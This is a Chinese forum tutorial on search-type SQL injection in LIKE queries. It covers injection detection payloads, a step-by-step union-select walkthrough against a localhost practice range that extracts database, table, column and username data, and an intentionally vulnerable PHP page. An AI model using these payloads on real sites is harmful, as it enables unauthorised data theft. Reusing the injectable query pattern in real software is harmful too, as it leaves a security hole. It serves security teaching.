SQL注入——搜索型

打印 上一主题 下一主题

主题 885|帖子 885|积分 2655

SQL注入—搜索型

搜索型注入—原理介绍

一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在;
其中又分为 POST/GET ,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从form表单的 method="get" 属性来区分是get还是post。搜索型注入又称为文本框注入

一般后台搜索组合的SQL语句如下:
  1. $sql = "select * from user where password like '%$pwd%' order by password";
复制代码
这句SQL的语句就是基于用户输入的pwd在users表中找到相应的password,正常用户当然会输入例如admin,ckse等等。但是如果有人输入这样的内容呢?
  1. ryan'and 1=1 and '%'='
复制代码
这样的话这句SQL语句就变成了这样:
  1. $sql = "select * from user where password like '%ryan'and 1=1 and '%'='%' order by password";
复制代码
此时就存在SQL注入。
mysql模糊查询

like 匹配/模糊匹配,会与 % 和 _ 结合使用。
  1. '%a'     //以a结尾的数据
  2. 'a%'     //以a开头的数据
  3. '%a%'    //含有a的数据
  4. '_a_'    //三位且中间字母是a的
  5. '_a'     //两位且结尾字母是a的
  6. 'a_'     //两位且开头字母是a的
复制代码
查询以 java 字段开头的信息。
  1. SELECT * FROM position WHERE name LIKE 'java%';
复制代码
查询包含 java 字段的信息。
  1. SELECT * FROM position WHERE name LIKE '%java%';
复制代码
查询以 java 字段结尾的信息。
  1. SELECT * FROM position WHERE name LIKE '%java';
复制代码
搜索型注入—注入判断


  • 搜索 keywords' ,如果出错的话,有90%的可能性存在注入;
  • 搜索 keywords%' and 1=1 and '%'=' (这个语句的功能就相当于普通SQL注入的 and 1=1 )看返回情况;
  • 搜索 keywords%' and 1=2 and '%'=' (这个语句的功能就相当于普通SQL注入的 and 1=2 )看返回情况;
  • 根据2和3的返回情况来判断是不是搜索型文本框注入了。
以下几种语句也都可以:
  1. 'and 1=1 and '%'='
  2. %' and 1=1 --+'
  3. %' and 1=1 and '%'='
复制代码
搜索型注入—GET型案例
  1. [/code][list=1]
  2. [*]访问靶场
  3. [img]https://img2023.cnblogs.com/blog/3164322/202309/3164322-20230908145519840-841845987.png[/img]
  4. [*]输入正常关键字进行查询
  5. [code]http://localhost:8888/get.php?pwd=ryan
复制代码

  • 加单引号进行尝试
    1. http://localhost:8888/get.php?pwd=ryan'
    复制代码

    加单引号出现报错,报错中出现  % 号,猜测可能为搜索型注入
  • 使用以下payload进行测试
    1. http://localhost:8888/get.php?pwd=ryan%' and 1=1 and '%'='
    2. 或者
    3. http://localhost:8888/get.php?pwd=ryan%' and 1=1 --+
    复制代码

    正常显示
  • 继续尝试以下payload
    1. http://localhost:8888/get.php?pwd=ryan%' and 1=2 and '%'='
    复制代码

    无内容显示
    通过以上测试,证明存在SQL注入漏洞
  • 使用 order by 判断列数
    1. http://localhost:8888/get.php?pwd=ryan%' order by 5 --+
    复制代码

    order by 5时,报错
    1. http://localhost:8888/get.php?pwd=ryan%' order by 4 --+
    复制代码

    order by 4 时,正常显示
    说明该数据表列数为4
  • 判断回显位
    1. http://localhost:8888/get.php?pwd=abc%' union select 1,2,3,4 --+
    复制代码

  • 获取数据库名
    1. http://localhost:8888/get.php?pwd=abc%' union select 1,database(),version(),4 --+
    复制代码

  • 获取表名
    1. http://localhost:8888/get.php?pwd=abc%' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4 --+
    复制代码

  • 获取列名
    1. http://localhost:8888/get.php?pwd=abc%' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='user'),3,4 --+
    复制代码

  • 获取数据
    1. http://localhost:8888/get.php?pwd=abc%' union select 1,(select group_concat(username) from user),3,4 --+
    复制代码

    搜索型注入—POST型案例
    1. <?php
    2. header("Content-Type:text/html;charset=utf-8");
    3.         $id = $_POST['id'];
    4.         $conn = mysql_connect("127.0.0.1:8889","root","root");
    5.         if($conn){
    6.                 echo "连接数据库成功!";
    7.         }
    8.         echo "<br>";
    9.         mysql_select_db('ryan',$conn);
    10.         $sql = "select * from user where id like '%$id%' order by id";
    11.         $result = mysql_query($sql);
    12.         $row = mysql_fetch_array($result);
    13.         if($row){
    14.                 echo "用户ID:".$row['id']."<br>";
    15.                 echo "用户名:".$row['username']."<br>";
    16.                 echo "用户密码:".$row['password']."<br>";
    17.                 echo "用户邮箱:".$row['email']."<br>";
    18.         }else{
    19.                 print_r(mysql_error());
    20.         }
    21.         mysql_close($conn);
    22.         echo "<hr>";
    23.         echo "你当前执行的sql语句为:"."<br>";
    24.         echo $sql;
    25. ?>
    26. <form action="" method="POST">
    27.         id:<input name="id" type="text" /><br><br>  
    28.         <input name="" type="submit" value="提交" />  
    29. </form>
    复制代码

    • 访问靶场

    • 正常查询id,使用burp抓包

    • 加单引号进行尝试
      1. id=1'
      复制代码

      出现报错,且报错中出现 % 号,猜测是搜索型注入
    • 使用以下payload进行测试
      1. id=1%' and 1=1 --+
      复制代码

      正常显示
      1. id=1%' and 1=2 --+
      复制代码

      无显示,判断存在注入
    • 使用order by 判断列数
      1. id=1%' order by 5 --+
      复制代码
      1. id=1%' order by 4 --+
      复制代码

      说明该表列数为4
    • 判断回显位
      1. id=abc%' union select 1,2,3,4 --+
      复制代码

    其他操作跟以上GET型案例相同

    免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
  • 本帖子中包含更多资源

    您需要 登录 才可以下载或查看,没有账号?立即注册

    x
    回复

    使用道具 举报

    0 个回复

    倒序浏览

    快速回复

    您需要登录后才可以回帖 登录 or 立即注册

    本版积分规则

    小秦哥

    金牌会员
    这个人很懒什么都没写!

    标签云

    快速回复 返回顶部 返回列表